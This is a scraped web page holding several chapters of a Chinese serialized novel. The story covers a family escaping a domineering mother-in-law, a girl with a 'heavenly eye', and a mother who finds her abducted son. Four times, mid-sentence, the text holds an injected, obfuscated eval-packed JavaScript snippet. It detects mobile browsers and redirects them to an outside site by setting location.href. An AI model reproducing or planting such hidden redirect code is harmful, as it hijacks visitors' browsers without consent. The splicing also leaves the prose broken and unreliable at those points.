春生挂了电话,她就是这样,只听她想听的,反反复复车轱辘话,直到别人答应她。 外边的人不理她,她也知道闭上嘴巴,家里儿子儿媳却没法躲,她精力旺盛,随随便便能为一件小事耗两三天。 如果还在家里,春生是不敢挂电话的,否则她晚上回到家,必定会闯进房里,抓着他夫妻俩絮叨,直到他们承认错误,做出保证。 这还是这几年春生夫妻基本不违背她意思的情况下。 早几年她更来劲,一件小事翻来覆去念叨三四周,一言不合就翻脸。碗筷怎么摆,鞋子怎么放,饭要怎么做,菜要哪几家买,通通都得听她的。 还听她干妹妹的要管教儿媳,其实她早把儿子儿媳折腾得无力反抗了。 好在现在除了电话,她那些车轱辘话到不了这边。 平丽怕这一晚上清净不了,教春生怎么把婆婆号码拉黑,明天有空再放出来,睡觉的时候拉黑。 平丽说:“我手机干脆都拉黑了,你跟她说一声,也拉黑吧,不然你晚上别想睡了。”拉黑这招是她朋友微信教她的。 卞阿婆很快又打过来,不停的重复让他快点回来,不然自己就去死,春生试着说两句,那边仍然是她控诉的声音。 卞阿婆根本不听儿子说话,她只说她自己的。 春生大声说:“妈!你别打了,我现在有事,明天再和你说!我打工不会回去的,你照顾好自己!” 卞阿婆没理他,她在家里把门都打开,在那跑来跑去,发出很大动静让春生听。然后敲门,敲桌子,用晾衣杆打各种东西,表达她的不满。 这在以往为了不被邻居嘀咕,春生很快就妥协。 现在没用了,他们离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007236|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得太远,春生和平丽已做好心理准备。 春生把电话挂断,犹豫片刻,给他妈发了一条长长的短信,接着把号码拉黑了。 “微信是不是也可以拉黑?”虽然她妈不怎么用微信,只喜欢打电话。 平丽也不确定:“……其实拉黑了,她也会拿别人的手机打过来。” 平丽朋友来接他们了,对方给出建议,在这边另外办一张电话卡。 平丽朋友戴着眼镜,脸圆圆的,和以前一样,不爱说话,出租车把他们送去她空置的房子,六层楼的两居室,家具都很有年代感。 朋友说:“之前也出租过,厨房冰箱燃气都有,就是没空调。” “不用不用,我们用风扇就好。”平丽连声感谢,两人说了一会话,朋友第二天还要早起,先回去了。 朋友:“跟我别客气,高中要不是你,我可能都走不出老家。” 小云在房间里跑来跑去,到处摸摸看看,春生正打水擦窗户,这还有个小小的阳台,打开了,外边是热闹的夜市。 风吹过来,小云哇的一声,转头看她爸擦门,就说:“我也要抹布,我也来擦!” 她在地板上蹦蹦跳跳,笑得眼睛弯弯,平丽很久没见她这么开心了。 春生手机又响,平丽过去一看,大伯的来电,平丽说:“肯定是婆婆。” 春生:“接吗?” “接吧,跟大伯说一下。”平丽接通电话,大伯说了没两句,卞阿婆的声音抢过来,平丽一边心烦,一边又想,反正他们已经出来了。 春生擦了手,拿走手机挂断,给大伯发了一段语音,解释他们现在状况,没说在哪个城市。 大伯听了回他一个好字,电话又响。 这肯定不是大伯打的,果然,接通又是他妈的声音,异常悲愤的控诉。 别人老说春生木讷,他觉得自己其实还好,就是他妈没法沟通,他每次被他妈追着拉扯,独处时一句话也不想说,太累了。 不接了,不然她能一晚上一直打过来,重复不停的控诉,指责,训斥,然后让他赶紧回来。 她是不是真的听不懂?即使他重复一百遍他不会回去。 春生挂了电话,和平丽对视一眼,平丽噗嗤笑出来。 春生也尴尬的笑:“出都出来了,不管了。” 平丽说:“我们都发个那什么朋友圈,然后给大家打电话说一下。婆婆肯定会去骚扰他们,提前道声歉。” 两人都笑,小云也跟着笑起来,打完电话,手机关机。一家三口齐心协力打扫了卫生,铺好床,去楼下买了凉席,洗干净晾好,估摸着很快就干了。 又把添置的其他东西一一放好,平丽格外满意。 阳台门开着,凉席干好了,把女儿哄睡,夫妻俩去阳台上说话。 “幸好我们没离婚。”平丽攀着春生胳膊,两人靠在一起,“这里比家里好多了,家里每天待在房里坐牢一样。” 久违的无拘无束的轻松时刻,不用担心婆婆突然闯进来,不用为未来担忧,不用考虑什么离不离的事。 春生不由说:“幸好你去找了小神婆。” 两人笑起来。 28. 婆婆非让离婚 第二天醒来,春生先出门,找工作的路上想了想,把他妈号码放出来,发了个短信:妈,我找工作去了,我很好,别担心。 发完又拉黑,他微信上人不多,和卞阿婆关系还行的都提前说了声,拉黑了。不然卞阿婆能蹲去对方家里,霸占人家微信骚扰春生。 想到以后他妈没法和尚念经的压着他,春生心情就很放松。 平丽则问她朋友介绍的工作,物流分拣员,刚去很累,但平丽干活细致,能吃苦。朋友一毕业就在这公司,当了小主管,平丽要升职比较容易。 朋友说:“正式工待遇还行,你也可以先找找别的轻松工作,确定了去办个健康证,我下班了来找你。” 平丽有点担心:“我没做过这个也可以吗?” 朋友肯定道:“可以的!其实你学习能力比我强,当时高考可惜了。” 平丽想了想,吃苦她不怕,还能有朋友照看,为什么不去? 平丽很快入职,工作确实很累,尤其上了夜班,回来走路脚都不听使唤。春生给她按摩,摊开手发现没几天她手上就起了茧子。 这会小云已经睡了,夫妻俩说着悄悄话,春生很心疼。 平丽笑着说:“习惯就好了,平时戴着手套呢,食堂饭还不错。” 她没讲她私下都掉了一次眼泪了,但一想发了工资自己花,给丈夫女儿花,谁都不能讲她一句,那就很开心。 更何况从出来她就没和婆婆说过话,她一想到这个哪还觉得累啊。 很快春生也找到工作,夫妻俩劲头很足,就是委屈了小云,怕有意外平时都让她在家玩。小云倒是满不在乎,她说:“我看书就好了。” 房里上一位租客留了一些小孩子的漫画书,小云半蒙半猜看得津津有味。平丽让她一天只看两小时电视,她也认认真真没多看。 平丽朋友听说以后,推了个微信给平丽。 “这是小区有个奶奶,孩子出国开的小托班,不怎么正规,意思意思收个饭钱,去了大的带小的,倒是玩具挺多,有一些小区里捐的。” “只有个聋哑阿姨,也不教东西,就是给个地方让小孩一起玩,你送小云去认识认识朋友,不怕她孤单。” 平丽万分感激,她感觉离了她婆婆,一切都很顺利! 哪怕工作累点,能有这样的好朋友,能一家三口开心过日子,怎么都值。 多亏了小神婆,红包她是不收了,年节得送个心意。平丽现在夫妻都挣钱,日常节俭,但总算不至于像在老家,好像用点钱就是罪过。 至于她婆婆,据说在村里吵吵一个多月,小卖部开了没两天又关了。由奢入俭难,她打牌快活那么多年,根本受不了看店的枯燥。 你说她那表侄女?卞阿婆其实也清醒,店托给对方,私下盯得很严,一盯发现她偷拿钱,还随便送东西给自己找上门的朋友…… 卞阿婆哪能是吃亏的人,当场硬邦邦把人顶了一顿。 这表侄女又不是亲的,眼瞅着结婚对象跑了,哄不到钱,没耐心也不见了——其实平丽很惊讶,她还真把春生当结婚对象呢。 就她平时看春生那个态度,好像人看猴子似的,离了卞阿婆一句话没有。平丽都不懂她还真想过和春生结婚,好继承卞阿婆那两套房。 ……春生自己都不指望,看卞阿婆活蹦乱跳的,感觉她能活到九十多。 反正平丽现在对婆婆万事不管,拉黑了就没联系过。春生倒是时不时把他妈放出来,打电话关心关心,问问近况。 然后很快被卞阿婆的重复魔咒搞得没办法,挂断,拉黑。 卞阿婆倒是找过派出所,说儿子儿媳不养她,警察电话打过来,春生把家里情况说了,钱全部在他妈手里,夫妻俩不出来打工,怎么养? 卞阿婆又纠缠说要赡养费,不给就赶紧回来。春生问了警察给多少合适,当场转了账。 卞阿婆一脸愕然,她的贴脸精神攻击不管用,好像也没别的招。 警察比较同情春生夫妻,公事公办的把卞阿婆劝走了。 卞阿婆心里憋屈!听话三十多年的儿子,突然被儿媳拐走了!她装着生了一场病,春生知道后请大伯送她去医院,她就自动好了。 她那干妹妹倒是一直安慰她,骂春生不懂事不孝顺,反正放古代得流放的罪行。这说到卞阿婆心坎里,每天到处在村里宣扬。 但莲花村不是以前了,大家都很忙,忙着挣钱享受生活,除了牌友没人愿意听她说这个——大家心里有杆秤,知道她是个什么人。 就是牌友听她天天絮叨也心烦啊,说什么儿子走了不想活了,那你还每天来打牌? 现在轮到卞阿婆拿她儿子儿媳没办法,小卖部开两天关三天,她干妹妹说要帮她坐店,卞阿婆有点紧惕,拒绝了。 听你说好话是听,但你表侄女不咋地靠谱,你我也不太信…… 卞阿婆自认为说话委婉,其实她直白得很。干妹妹也有点生气,每天陪你打牌说好话,这情绪价值也是价值啊,说要帮你看个店你居然怀疑我! 干妹妹发现她巴结卞阿婆这么久,一点实质性好处都没有。 那屁点大小恩小惠,打发她叫花子呢! 干妹妹突然清醒,以为卞阿婆好糊弄,其实人家对手里那点钱精明得很。于是也不一起打牌了,平时遇到冷嘲热讽,两人彻底翻脸! 这给卞阿婆气得半死,晚上在村尾大喊大叫大骂,气不顺啊! 不过那边人不多,骂她还怕给她纠缠上,当没听见吧。 只有福欣超市的康胜颇为怨念,和娄姨吐槽说晚上瞌睡被卞阿婆吓醒,那声音跟仓鸮鸟似的,吓他一大跳。 娄姨说:“这仓小鸟是什么鸟,叫声啥样啊。” 康胜:“就是猫头鹰啊,叫得特别瘆人。” 娄姨笑哈哈:“你还知道这什么猫头鹰,哎,卞阿婆现在是憋屈了,平丽和春生走得好啊。小神婆。” 她竖起大拇指:“袁阿婆说是你给支的招,你是这个!” 曲欣笑而不语,其实心里很开心嘻嘻。 她妈在旁边看她一眼,曲欣觉得过不了多久她妈也只能接受现实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019643|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 后来不晓得卞阿婆从哪知道平丽夫妇走前来曲欣这里看过,很不高兴,到处跟人说曲家不厚道,想抢自家生意才把她儿子儿媳糊弄走的! 曲欣听了很无语:“……”你家小卖部多大啊,我家福欣超市是莲花村标志性地点好嘛,打开某德地图肉眼可查。 她没当着曲欣面说,曲欣又不可能去找她麻烦。 不开心十秒,曲欣把卞阿婆抛在脑后。 这事再起瓢是八月末,春生叔回来给女儿转学办手续。事情悄悄地办完了,他来曲欣家送了礼物,又回老家看了一眼,走了。 等卞阿婆打牌回来知道这事,那个伤心啊,就差没在地上打滚,又唱又跳的,只是没人理她,顶多敷衍的安慰两句。 大家都觉得:“春生和平丽这日子是好过了,听他大伯讲在外边努力挣钱呢。” 有人:“卞阿婆过得也不错啊,每天还是打牌,店也关了。” 大家互相看了看,都笑起来。也有加了平丽春生微信的,看他俩时不时发个朋友圈,偶尔周末一家人出去玩,很是平静幸福。 到年底,卞阿婆可能也接受了现实,她想什么招,反正儿子儿媳都不搭理。稍稍装两句可怜,儿子就说忙然后挂电话。 卞阿婆心里暗恨,重点放在了让儿子至少回来过年。先前春生说过两年再回,她没理,现在看这样子搞不好是说真的。 那怎么行!到时候人人家里热闹,就她一个人丢脸? 卞阿婆每天打牌装得不在乎,心里暗暗着急,磨着儿子让他答应过年回来。天杀的,这儿子突然变铜豌豆了,蒸不烂,煮不熟,咬死不答应。 ……反正就这样,卞阿婆底线一退再退。 春生和平丽嘛,自己挣了钱,底气有了,想着回去过年也行。到时候要走,卞阿婆又拦不住。 现在想卞阿婆那套也没什么大不了,她搞不成以死相逼,最多嘴上说说。在老家过得不愉快,买张三张高铁票抬腿就能走。 他们得回去感谢一下小神婆,也要给大伯舅舅拜年,还要谢谢平丽的领班…… 这日子过好了,就很感激当时帮忙的人。 至于卞阿婆那边,平丽叮嘱:“你可别一昏头就直接答应了,先放放。我算明白了,我们一弱她就来劲,我们强了她就没法子了。” “你看她现在都想起来要和小云说话了,说奶奶当时讲她灾星是鬼上身,也不说什么离婚不离婚了。我看再等两月,她说不定还能给我道个歉。” 平丽:“我也不指望回去她能收敛多久,反正不能事事顺着她。你顺着她,她不觉得是我们对她好,只想着自己占尽上风,想怎样就怎样!” 春生露出笑容,他理了板寸,人看着黑了,壮实多了,精气神也有了,不像过去那种嘴笨寡言的样子:“我懂。” “你懂啊,你懂就好,小云懂了吗?”平丽逗旁边玩芭比娃娃的女儿。 女儿小脸严肃:“我懂的,合理要求答应,不合理的都拒绝。” 平丽和春生乐了,觉得自家女儿真聪明。 29. 一点日常+郗芳收尾 给平丽夫妇出主意的这天下午,大概五点多,曲欣小姨开车带着表弟来了,大包小包,把家里经常不知道哪鬼混的猫两花吓得跳柜子上。 曲欣提前煮了饭,把小姨米丽带来的卤菜都打开,卤鸡卤鸭卤猪脚,还有卤肥肠,卤猪肝,卤鸡爪。 小姨米丽是个肉食动物,素的也有很多,这大概她妈米秀点名要的。 曲欣一一尝味,表弟董樊则跑去扒拉她那些零食。 “小姨你做饭吗?”曲欣很期待,小姨和她妈做饭是不同口味,都很好吃。 小姨做饭手法简单,随便炒炒,放点盐,怎么样都好吃。不过她人懒,据说她在家也很少做,主厨一般是小姨夫。 “……”米丽露出笑容:“我来你家做客,怎么让客人做饭。” “我还带了这么多好吃的。”她做楚楚可怜状,“最近实在太累了,不行的。” 米丽是个活泼性子,结了婚当了妈还是很俏皮,曲欣和她合得来:“算啦,等下看我爸的……要不我洗好切好,你随便搞个蔬菜~” 小姨随便炒两下的蔬菜曲欣觉得简直是艺术品! 嘿嘿,小姨答应了,她也跑去吃曲欣的零食,问起曲欣最近的神婆事业。 曲欣说:“前阵子帮忙找到一个被前妻带走,假装成拐卖了的孩子,后边天天都是来找孩子的,可惜我功德还不够,有线索的只有几个。” 米丽认真听着,摸摸曲欣:“你外婆也是一点点变厉害的。” 曲欣自信道:“都加了微信,我现在微信朋友多了去,最近好像可以视频看人面相了,不过,还是当面看最清楚。” 董樊在一边听着,好奇道:“天眼看人什么感觉啊。” 曲欣想了想,形容说:“就好像扫码一样,看到你脸就知道你近况。” 董樊啃着牛肉干,羡慕:“我也想开天眼。” 米丽哈哈笑:“咱们家这个天眼可能传女不传男。” 曲欣捏捏表弟的脸蛋:“总共也只传了一代,外婆上面有开过天眼吗?” 米丽:“那不晓得,你外婆是童养媳,原本姓什么不知道,跟着你外公姓的。” 咦咦,这曲欣还真不知道,对哦,外婆也姓米。 曲欣姐弟好奇起来,追着问,米丽笑眯眯道:“你们外公是早产儿,上一辈表姐弟结婚,当时不知道这个嘛,生下来一只眼睛看不太清,幸好后来慢慢好了……” 外公从小病痛缠身,一年得有三百天生病。不过他脾气好,外太公外太婆都性格温和,对独子疼爱万分,悉心照顾,所以他很能体谅别人。 那会米家有点家底,外公养到七岁,勉强算站住了。这一年,外婆和她姐姐流浪到附近,饿得快死了,外太婆给了一人半碗粥。 两个小孩留下来不走了,可惜没多久,年纪大点的姐姐急病去世。米外婆急得只能来找外太婆,当时外公给她开的门。 外太公帮忙葬了姐姐,看外婆人小可怜,时不时给她点吃的,让她住在旁边旧屋里。外公身体好一点,对外面的世界好奇,就常常和外婆说话。 不过外婆那会太小了,只知道一路上找吃的,找睡的地方,自己名字也不知道,她姐姐不爱说话,只喊她兰兰,不晓得是兰还是蓝。 外公认得两个lan字,在地上写给外婆看。 可能觉得‘兰’字比较简单,外婆选了‘兰’字。 董樊:“哦,原来外婆名字是这么来的。我也想自己选,我选个凡好了,笔画最简单。” 米丽敲了他脑袋一下:“反正不知道上上辈有没有开过天眼,你们外婆也没怎么讲以前,这些都是你们外公讲的。” 曲欣外婆和外公关系好,跟着他学字,学算术,时常帮家里打水,扫地,干些力所能及的活,还会盯着外公添衣加裳,细心照顾。 外太公外太婆动了心思,觉得外婆身体好,性格坚毅,长相也不差,知道感恩,别人调侃她是米家童养媳,就没反驳。 外婆成了米家人,她和外公也算青梅竹马。 后来有一年洪水来了,外太公外太婆在外边被大水冲走,家里什么都不剩,只留下外公外婆相互扶持。那会两人十六七岁,吃了不少苦。 尤其外公在洪水中生了大病,几次全靠外婆想办法抢回一条命。 小姨怀疑外婆那会就开了天眼,无师自通的当了神婆,只是当时不敢讲,过了几年才慢慢传开。 按外婆的说法,看命得的钱不能尽留,得捐出部分。 可惜,就是后来家里好过了,外公是个病罐子,曲欣她妈身体也不太好,成天不是这个喝药,就是那个送医,米丽猜可能还是花了很多。 曲欣惊讶:“我妈小时候身体不好吗?”现在看着挺好的,很少生病。 米丽:“就是啊,随便吹个风都要倒,所以你妈老觉得是她拖累了你外婆,没把钱捐出去,才害得她五十出头去世。” 曲欣沉默,米丽和她靠在一起,感慨道:“其实她就是怕,嘴上说不想你给人看命,但也没怎么阻拦,对不对?” “……嗯,我捐得挺多的,攒了功德我自己有感觉,不会让我妈担心的。” “你有想法就好。”米丽笑道,“你外公去得早,其实,你外婆和他感情很深,后来我们最小的弟弟走了,这又是个打击。” “真不怪你妈,你们小舅舅七岁不到就走了,你外婆可能觉得……没什么意思,只是放心不下我们姐妹。” “董樊一岁没多久,她把我们叫回来,说事情安排妥当,要去见你们外公和小舅舅,第二天就在梦里去世了。” 米丽回忆:“还记得她摸着董樊的手,说他能吃是福,以后会过得顺遂。以前你们外婆看了家里人也不会说出来,我只以为是祝福。” “现在看他吧,长了张能吃的嘴,果然高高胖胖。”米丽捏住她儿子耳朵,扯了扯,“别吃了,看你嘴巴就没停过。” 董樊一脸不服气:“我虽然吃得多,但我爱运动,我是个灵活的小胖子,不对,我不胖啊,我这叫高壮好吗?我们班我最高!” 米丽和曲欣都笑出来,那倒也是。 “我跟你讲这么多啊,是昨天和你妈聊天,听她那口气拿你没办法。可能前一阵来找孩子的那些家长她知道了,开了天眼做好事,她会理解的。” “嗯。”曲欣乖乖点头,被亲人关心的感觉真好。 没多久,曲欣她爸妈一起回来,准备了一顿丰盛的晚餐。 吃完表姐弟被派去洗碗,董 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027536|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 樊小嘴嘚吧:“姐我们班有个同学,她认识一个跟她长得巨像,超级像的人,好像亲姐妹一样。但她们不是亲姐妹。” 曲欣:“然后呢。” 董樊:“然后我们组织了一场秘密调查。” 曲欣:“……” 董樊:“那个电影《天生一对》你知道吗?就是一对双胞胎从小分开,长大了才发现她们一个跟着爸爸,一个跟着妈妈。” 董樊:“……总之我们展开调查,发现我同学妈妈就生了一个。” 曲欣笑了:“你到底想说啥。” 董樊:“所以为什么两个不认识的人会长得那么像啊。” 曲欣:“你看娱乐圈那两个星二代不是也莫名其妙的撞脸嘛。” 董樊:“哦也对。” 晚上九点多,小姨米丽开车回家了,留下小表弟住隔壁客房。董樊来得勤,房间隔一阵有打扫,放了他不少衣服玩具。 刷牙洗脸,董樊腻在曲欣房间里看她玩游戏:“姐你说再过几年你能不能看出我有没有考上清华北大的可能。” 曲欣吐槽:“你先把你稀烂的语文成绩提上来再说吧。” 董樊自信道:“我努力。” 曲欣还想说话,手机突然响了,一看备注是郗芳。六月底被谢寻推荐过来,也是找儿子的单身母亲。 看来是有好消息了,曲欣接通,对方激动的声音颤抖传来:“小神婆,我找到我儿子了!” 她声音有种游魂般不真实的庆幸与喜悦:“谢谢你,谢谢好心人,谢谢老师,冬冬,来和小神婆打招呼……对不起我太高兴了,小神婆。” 她好像喝了酒,絮絮叨叨说一大堆,曲欣没听清,那边有人劝她,她哽咽道:“不好意思,小神婆我先不打扰你,我回来再拜访。” 曲欣温和的说:“好,不急,你先处理好你的事。” 电话一挂,董樊怪怪的看着她,好像她被妖怪附体。曲欣白他一眼,董樊嘿嘿笑:“姐你刚刚好像大人啊。” 曲欣自得:“我本来就是大人。我是青春无敌美少女。” 微信又响,寻儿郗舟发来好几张照片,照片里是一个黑色短袖的男生和郗芳合照,男生长相清秀,十三四岁的样子,眼神格外清正。 这应该是郗芳的儿子郗舟,第二张是母子俩和郗芳母亲的合照。 三人都面带笑容,眼眶微红。 第三张是郗舟和一个中年男子,对方个头不高,揽着郗舟,笑得有些骄傲。 第四张是郗舟和一个戴着眼睛,气质看着像老师的人合照。 几张照片背景都是在饭店包厢里。 郗芳发来语音:“小神婆,这位是联系到我的好心人大哥。这是我儿子的老师。接到电话路上我就想,我真的很幸运,我遇到谢大哥把你推荐给我,遇到了王大哥夫妻一直记着我的事,遇到帮忙联系的学校老师,郗舟的朋友,还有一直照顾我儿子的叔伯婶娘……” 她泣不成声:“遇到你们真好,小神婆,上个月要不是你说我儿子就要找到了,我真的支撑不下去了……对,我不哭,不好意思。我太激动了。” “我们现在在吃饭,这边事有点多,我们晚点来拜访。” “谢谢你,小神婆。” 30. 郗芳收尾 郗芳找到她儿子,靠的是发传单,传单是彩页的,正面有她儿子小时候的照片和清晰照片和联系放式。背面是当时儿子下车的集市10年的原貌。 有了曲欣给的信心,她在路上看到谁都发一份,重复无数遍儿子的经历——他上了一辆长途巴士,中途在集市附近下了车,疑似被一个干瘦老头带走。 下了高铁,去给她妈中医复查,路上又找了打印店,见人就发。 到了中医院,看完医生拿了药,给医生病人发传单。医生盯着仔细看了几眼,没说什么,那瞬间郗芳都在想:医生是不是有线索呢? 实际上并没有,郗芳不失望,小神婆很肯定是在定好的路程上遇到好心人,还让她们在当地待一阵,郗芳就把每一个路过的人都当成‘好心人’。 她认真的、期盼的望着好心人们,尽量简短明确的说明自己情况,一路保持笑容,对每个人都坦诚又信赖。 她希望传达给对方的是:这对她很重要,传单上这个男孩,如果您有消息请一定联系我。 从医院出来,郗芳搜附近打印店,她妈还剩下几张,发给了三个结伴路过的高中生。没来得及说话,他们拿了就走,没多远,随手揉了一下,丢进垃圾桶。 郗芳她妈过去把三张彩页都捡回来,恰好有人路过,发了一张。 对方接过传单,翻过来前后看了看,停下来听郗母把话说完。 “好嘞。我拿走了。”对方用带着点尖刻的声音回答。 这是个瘦瘦的中年男人,个子不高,郗芳过来对他道谢。他点点头,走出一步,上下打量这母女俩,突然说:“希望你们早点找到孩子。” 郗芳感谢万分,每一点善意她都记在心里。 也正是这位王大哥,带着这张传单回了他老家县城。因为老婆不同意,家里大伯七十岁的生辰只有他一个人回来。 不过他能理解,早年两边有点矛盾,他老婆受了委屈,不愿低头和好。 但大伯以往对他不错,所以他自己请假回来了。 过了这个生辰,什么事也没发生。王大哥回到家,他老婆翻出这张传单,问他怎么还有这东西,他随口将事情说了一遍。 “怪可惜的,多好看一孩子。”王大哥拿来传单,又扫了一眼,“看着是妈妈和外婆,找了不知多久了,别人扔传单也不生气。” 他老婆说:“那他爸肯定是离了另找了,所以不找孩子。” 王大哥:“那不知道,也可能出意外呢。” 他老婆很大火气:“我还不知道,男的都这样,孩子没了再生就是,不是自己肚皮里冒出来的,不心疼!” 王大哥只好哄她,过了大半月,传单也不知哪去了,他大伯脑溢血去世,王大哥又请假回老家奔丧……幸好他七月还没请过假。 到县城已经晚上八点,去大伯家还要再坐个摩的。 王大哥饿得不行,找了家熟店吃粉,老板娘不在,老板把小电视开着放地方台,自己低头玩手机。 王大哥心想还是老板娘节俭,平时开个空调都左右为难。 隔壁坐着两个吃饭喝酒的牌友,翻来覆去说下午的牌如何如何,嗓门越来越大,搞得王大哥看他们好几眼。 这会小电视上换了声音,隔壁突然说:“我儿子要有这么聪明就好了。” 王大哥把最后几筷子面夹上来,抬头看一眼。 电视上女记者采访一个穿着校服的学生,原来这是今年的市中考状元。话筒给到对方,记者:“听说你是你们县第一个中考状元对吗?” 男孩长得白白净净,很沉稳:“对,我是海平县的。” 王大哥也是海平县,不免多听一耳朵,又喝了口汤,就听电视里男孩说:“……想找我妈妈和奶奶,小时候被人贩子从学校抱走……” 王大哥这时还没想起来,但旁边两个人在感慨:“这伢子我知道,我隔壁小子成绩也是数一数二,就是他同学,哎,好孩子都是别人家的。” 另一人就问:“这小孩还能在学校被抱走?” 先前那个夹了最后一粒花生米:“好像是假装孩子他爸——这伢子没爸爸,他还真以为是他爸找他来了,后来发现不是就跑了嘛……” 两人边说边站起来,结账走人,电视里学生的说法则是:自己上了一辆车,后来又跑下来,被年迈的爷爷带了回家。 王大哥也准备走了,就这会他突然灵光一闪,想起上个月月末接到的那份传单。 传单上小孩长得聪明白净,他隐隐还记得呢。 王大哥有点迟疑,他不确定是不是。 再一看,电视上采访也结束了,记者说起别的新闻。王大哥要走,脚却黏在地上,这要是万一呢? 那天那母女俩诚恳希冀的目光好像又浮现在他眼前。 王大哥问老板刚那两位客人哪家的,正好知道情况那家离这不远,抬脚走一程的事。 但路上他突然想起来,桌子上那张彩页放了大半个月,前几天好像不见了。 王大哥连忙给老婆打电话,老婆说前一阵被她不小心撒了汤,黏糊糊的,就给丢了。 王大哥顿时懊恼,虽然现在不确定,可传单丢了,他又没记电话,万一确定了也没法啊。 他老婆反应过来:“怎么了,你看到像的了?你等等哈。” 她正好休息在家,拖鞋走路的声音传来,她说:“我把电话记买菜本上了,当时想着孩子白白净净的,怪可惜……嗯,找到了。” 王大哥她老婆也算神使鬼差,和她半点没关系的传单,丢就丢了,丢之前突然一心软,记下了电话。 王大哥很高兴:“万一真的是,咱俩也算做了好人好事。” 就这样,他找到了那孩子的同学,同学没他电话,又联系上学校老师——这市状元家里穷,没手机,留的是村里村长的电话。 市状元当时下了车,年纪小,惊惧之下发了烧,被他后来的爷爷发现,就拿碗给他冲了个鸡蛋茶,问路边的小摊贩要了两滴香油。 碗是他自己的,开水是问人家借的。 那年他爷爷有事路过,看到个集市进来转一圈,瞅着这孩子不对劲,一摸发烧了。冲了鸡蛋茶,一问是被拐子拐了逃出来的,就把他带回了家。 孩子当时不太懂,其实他爷爷要把他送去派出所,应该能找到家人。 他爷爷可能想着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037657|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正孩子找不到家了,带回去给自己养老也行。 小孩呢,喝了那碗鸡蛋茶,觉得爷爷是好人,找不到妈妈和奶奶,一个人害怕,就跟着他回家做了他的孙儿。 等小孩长大一点,回过味来,爷爷已经去世,一直对他很好。临走前担忧他,拉着亲戚的手求他们多照看。 市状元算是村里吃百家饭长大的,想走出去就得读书,他埋头书海,咬牙死命读。 他还记得他妈妈奶奶送他去小学,高高兴兴的样子。 仅有的记忆他曾一遍遍在脑中回想,等他重新读小学,才用夹杂着拼音的稚嫩字体记下来,更大一点誊抄了一遍,又补上新的内容。 他能接触的信息不多,不知道外边发展日新月异,09年就已建了打拐DNA信息库。他以为他至少得考上大学,考去北京才有希望找到家人。 考去北京是他们那偏僻山村的一大念想。可能看他确实聪明,要读书村里大部分人都捐一点,给他生活费,才让他去读了县里的一中。 初中学校有一定补贴,他仍然埋首读书,中考结束了,他和他同学,也就是一直和他竞争的年级第二聊到想考什么大学。 他说想考去北京,因为要找自己的家人,大城市可能更有机会。 同学这才知道他小时候走丢过,同学自己也不懂,很是同情,安慰他等长大了肯定能找到的。 考完了,他跟着村里一个婶娘去网吧打暑假工。七月十六日出成绩,他考了全市第一,比第二名高0.5分。 网吧一个大叔跟他说,万一来采访你,可以跟记者说你想找家人。 也是出成绩这天,他同学成绩也不错,兴奋之余,跟爸妈提到市状元走丢的事,问怎么才能快点找到家人。 同学爸妈说最好找警察,邻居听了感叹,咋人家的孩子一个个聪明又懂事。 七月十九日,真有记者要采访,学校老师通过村长传话让他来学校,他问老师能不能提自己被拐走丢的事。 老师大为惊讶,和记者商量后进行了采访。之后,老师问他要不要报警。 他对爷爷有一定感情,况且人不在了,村里对他不错,他不太想报警。 他问报警的话,村里人会不会知道,他爷爷把他带回家,这不算拐卖吧? 老师劝他,踌躇过后,想要找到亲人的心占据上风。 老师陪他去派出所问了,得知有个DNA采血入库,如果他的家人有登记,他血样入库后,说不定很快能比对成功。 但采血入库必须启动报案程序,要进行一定调查。 他最终同意了。 七月二十一日,先前的采访在地方台播出。次日晚上重播。 也是这天晚上,好心人王大哥找到了市状元的同学,联系上学校老师,要找他得打他一起打工的婶娘的电话,打了几个,暂时没接到。 不过,老师跟着他报过案,知道更多细节,老师认为这很可能就是亲母子。 老师翻出他一张证件照,加了微信发给王大哥,后者也觉得八九不离十。 王大哥还要给大伯奔丧,把电话打给了郗芳。 郗芳终于等到奇迹。 31. 郗芳收尾 